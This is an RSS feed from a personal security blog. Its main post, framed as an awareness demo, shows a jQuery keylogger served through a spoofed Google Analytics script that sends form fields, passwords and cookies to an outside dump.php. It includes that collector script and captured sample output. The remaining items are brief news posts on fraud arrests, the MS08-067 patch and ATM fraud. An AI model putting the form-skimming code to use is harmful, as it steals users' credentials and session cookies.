<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Makl Ndrix &#187; security</title>
	<atom:link href="http://michaelhendrickx.com/tag/security/feed" rel="self" type="application/rss+xml" />
	<link>http://michaelhendrickx.com</link>
	<description>may contain traces of nuts</description>
	<lastBuildDate>Thu, 17 May 2012 21:03:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>JQlog: JQuery Keylogger, or why not to trust your proxy admin.</title>
		<link>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html</link>
		<comments>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html#comments</comments>
		<pubDate>Mon, 06 Jun 2011 07:55:13 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jkeylog]]></category>
		<category><![CDATA[jqlog]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[key logger]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=453</guid>
		<description><![CDATA[Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools. The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html' addthis:title='JQlog: JQuery Keylogger, or why not to trust your proxy admin.'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<div style="color:#808080;padding:5px 20px">
<em>Note that this post is for awareness and educational purposes only.  I do not encourage, and cannot be held responsible for malicious actions using these tools.</em></div>
<p>The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites.  Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page.  Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, &#8230;).  It&#8217;s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.</p>
<p>&#8220;Overwriting&#8221; javascript libraries, or rather &#8220;inserting javascript&#8221; can be done in several ways.  Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and &#8220;fake&#8221; the ga.js javascript file.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/06/jq2.jpg" alt="" title="jq(2)" width="627" height="223" class="aligncenter size-full wp-image-459" /></p>
<p>For this, you&#8217;d need only 2 files:</p>
<ul>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>Javascript keylogger</a></li>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>PHP backend script</a></li>
</ul>
<p>This javascript file, found <a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>here</a>, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself: <span id="more-453"></span></p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});</pre>
</div>
<p>Upon a &#8220;form submit&#8221; event, the current URL, the current cookie and all the page &lt;input&gt; fields are stored in a JSON object.  This is Base64 encoded and passed on to a defined URL (<strong>http://www.google-analytics.com/dump.php?a=</strong> in this above case).</p>
<div style="color:#808080;padding:10px 20px">
<em>Functions such as $.ajax() or $.post() would not work due to cross-domain limitations.  Henceforth, I used $.getScript to pass on the data to an external URL.  </em>
</div>
<p>The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case.  This script (<a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>here</a>) stores the current date, and a dump of all passed on variables in a defined text file.</p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>
  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);
</pre>
</div>
<p>Since it decodes a JSON object, dump.php will require JSON support, this can be installed using <a href="http://pear.php.net/">pear</a>.  Debian, it&#8217;s done using the following:</p>
<pre>
  apt-get install php-pear
  pear install Services_JSON</pre>
<p>To verify this, you will see a JSON entry in the phpinfo() output.</p>
<p>When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all &lt;form&gt; submits should be recorded in the text file, in the form of:</p>
<pre style="padding-left:20px">
on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
<strong>name : user
pass : secret1552</strong>
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :
</pre>
<p>No, this is no hack against Google Analytics or 7days, the latter is  something that would <a href="http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html">look slightly different</a>.  <img src='http://michaelhendrickx.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Although this example uses Google Analytics, it could be used for many other &#8220;popular&#8221; javascripts that are included in terms of widgets.  The handy things about Google Analytics is that it&#8217;s invisible to the user whether it is loaded or not.  </p>
<p>Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them.  Always make sure you can trust your proxy administrators.</p>
<p>Thank you,<br />
Michael</p>
<p>PS: these scripts are far from perfect, they don&#8217;t trap XHR requests and many other things, but it gets the point across.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Dubai Credit Card Fraudsters arrested</title>
		<link>http://michaelhendrickx.com/200812_dubai-credit-card-fraudsters-arrested.html</link>
		<comments>http://michaelhendrickx.com/200812_dubai-credit-card-fraudsters-arrested.html#comments</comments>
		<pubDate>Tue, 16 Dec 2008 21:56:57 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[uae]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[creditcard]]></category>
		<category><![CDATA[dubai]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=96</guid>
		<description><![CDATA[Dubai Police arrested a gang of Arab men, who stole over 200 million dirhams using credit cards doing online shopping, Gulf News said. They were tipped off in August about the guys, and caught most of them now (one out of four is out of the country).<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200812_dubai-credit-card-fraudsters-arrested.html' addthis:title='Dubai Credit Card Fraudsters arrested'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2008/12/cuffs.jpg" alt="" title="cuffs" width="124" height="98" class="alignright size-full wp-image-97" />Dubai Police arrested a gang of Arab men, who stole over 200 million dirhams using credit cards doing online shopping, Gulf News <a href="http://www.gulfnews.com/nation/Police_and_The_Courts/10267633.html" target="_blank">said</a>.</p>
<p>They were tipped off in August about the guys, and caught most of them now (one out of four is out of the country).  </p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200812_dubai-credit-card-fraudsters-arrested.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Holiday in Indonesia</title>
		<link>http://michaelhendrickx.com/200811_holiday-in-indonesia.html</link>
		<comments>http://michaelhendrickx.com/200811_holiday-in-indonesia.html#comments</comments>
		<pubDate>Wed, 19 Nov 2008 07:52:12 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[misc]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[holiday]]></category>
		<category><![CDATA[indonesia]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=88</guid>
		<description><![CDATA[Dear all, This blog is a bit quiet, since I am on a short trip in Jakarta, Indonesia. I&#8217;m visiting a friend of mine and it is a nice break from the busy Dubai life. Plus, I met some cool people at the Bellua Cyber Security Asia 2008 conference. Thanks, Michael<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200811_holiday-in-indonesia.html' addthis:title='Holiday in Indonesia'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2008/11/indo.jpeg" alt="" title="indo" width="139" height="97" class="alignright size-full wp-image-89" /><br />
Dear all,</p>
<p>This blog is a bit quiet, since I am on a short trip in Jakarta, Indonesia.  I&#8217;m visiting a <a href="http://treecode.com">friend of mine</a> and it is a nice break from the busy Dubai life.</p>
<p>Plus, I met some cool people at the <a href="http://www.bellua.com/bcs/">Bellua Cyber Security Asia 2008 conference</a>.</p>
<p>Thanks,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200811_holiday-in-indonesia.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS08-67 released out of the patch cycle, new blaster coming up?</title>
		<link>http://michaelhendrickx.com/200810_ms08-67-released-out-of-the-patch-cycle-new-blaster-coming-up.html</link>
		<comments>http://michaelhendrickx.com/200810_ms08-67-released-out-of-the-patch-cycle-new-blaster-coming-up.html#comments</comments>
		<pubDate>Sat, 25 Oct 2008 03:23:37 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=48</guid>
		<description><![CDATA[A newly discovery vulnerability made Microsoft release a security patch aside from it&#8217;s usual cycle, the notorious Patch Tuesday. This &#8220;Patch Tuesday&#8221; is normally every second Tuesday of the month. MS08-067 fixes a bug in the RPC handling of the Windows Server service. The bug was deemed as &#8220;critical&#8221; on pre-Vista machines, which is still [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200810_ms08-67-released-out-of-the-patch-cycle-new-blaster-coming-up.html' addthis:title='MS08-67 released out of the patch cycle, new blaster coming up?'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2008/10/patch.jpg" alt="" title="patch" width="144" height="88" class="alignright size-full wp-image-51" />A newly discovery vulnerability made Microsoft release a security patch  aside from it&#8217;s usual cycle, the notorious Patch Tuesday.  This &#8220;Patch Tuesday&#8221; is normally every second Tuesday of the month.</p>
<p><a href="http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx">MS08-067</a> fixes a bug in the RPC handling of the Windows Server service.  </p>
<p>The bug <a href="http://blogs.technet.com/msrc/archive/2008/10/23/ms08-067-released.aspx">was deemed</a> as &#8220;critical&#8221; on pre-Vista machines, which is still the majority of Windows clients.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200810_ms08-67-released-out-of-the-patch-cycle-new-blaster-coming-up.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UAE Banks hit by ATM fraudsters</title>
		<link>http://michaelhendrickx.com/200809_uae-banks-hit-by-atm-fraudsters.html</link>
		<comments>http://michaelhendrickx.com/200809_uae-banks-hit-by-atm-fraudsters.html#comments</comments>
		<pubDate>Sat, 13 Sep 2008 20:13:12 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[uae]]></category>
		<category><![CDATA[atm]]></category>
		<category><![CDATA[fraud]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=31</guid>
		<description><![CDATA[Multiple banks issues SMS messages and emails for UAE customers to change their PIN codes. Some banks even disabled international ATM cash withdrawal (which would suck if you&#8217;re on a holiday and need cash). So, if you are living in the UAE; it never hurts to change your pin. Which is something you should do [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200809_uae-banks-hit-by-atm-fraudsters.html' addthis:title='UAE Banks hit by ATM fraudsters'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2008/09/atm2.jpg" alt="" title="atm2" width="123" height="150" class="alignright size-thumbnail wp-image-32" />Multiple banks issues SMS messages and emails for UAE customers to change their PIN codes.  Some banks even disabled international ATM cash withdrawal (which would suck if you&#8217;re on a holiday and need cash).</p>
<p>So, if you are living in the UAE; it never hurts to change your pin.  Which is something you should do on a regular basis anyways.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200809_uae-banks-hit-by-atm-fraudsters.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Dubai jails yahoo email account hacker</title>
		<link>http://michaelhendrickx.com/200809_dubai-jails-yahoo-email-account-hacker.html</link>
		<comments>http://michaelhendrickx.com/200809_dubai-jails-yahoo-email-account-hacker.html#comments</comments>
		<pubDate>Tue, 02 Sep 2008 20:09:04 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[uae]]></category>
		<category><![CDATA[dubai]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=18</guid>
		<description><![CDATA[An Egyptian secretary guessed the password of a yahoo account of an Emirati UN employee, and was sentenced to three months in jail and deportation. The &#8220;hacker&#8221; emailed the victim that he broke into her email account, and was going to release pictures and &#8220;other secrets&#8221; of her, according to GulfNews. Not the cybercrime caliber [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200809_dubai-jails-yahoo-email-account-hacker.html' addthis:title='Dubai jails yahoo email account hacker'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>An Egyptian secretary guessed the password of a yahoo account of an Emirati UN employee, and was sentenced to three months in jail and deportation.</p>
<p>The &#8220;hacker&#8221; emailed the victim that he broke into her email account, and was going to release pictures and &#8220;other secrets&#8221; of her, according to <a href="http://www.gulfnews.com/nation/Police_and_The_Courts/10241859.html">GulfNews</a>.</p>
<p>Not the cybercrime caliber of russian extremist webmasters being <a href="http://www.nytimes.com/2008/09/01/world/europe/01ingushetia.html?_r=1&#038;pagewanted=print&#038;oref=slogin">&#8220;accidentially&#8221; executed</a>, but still.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200809_dubai-jails-yahoo-email-account-hacker.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

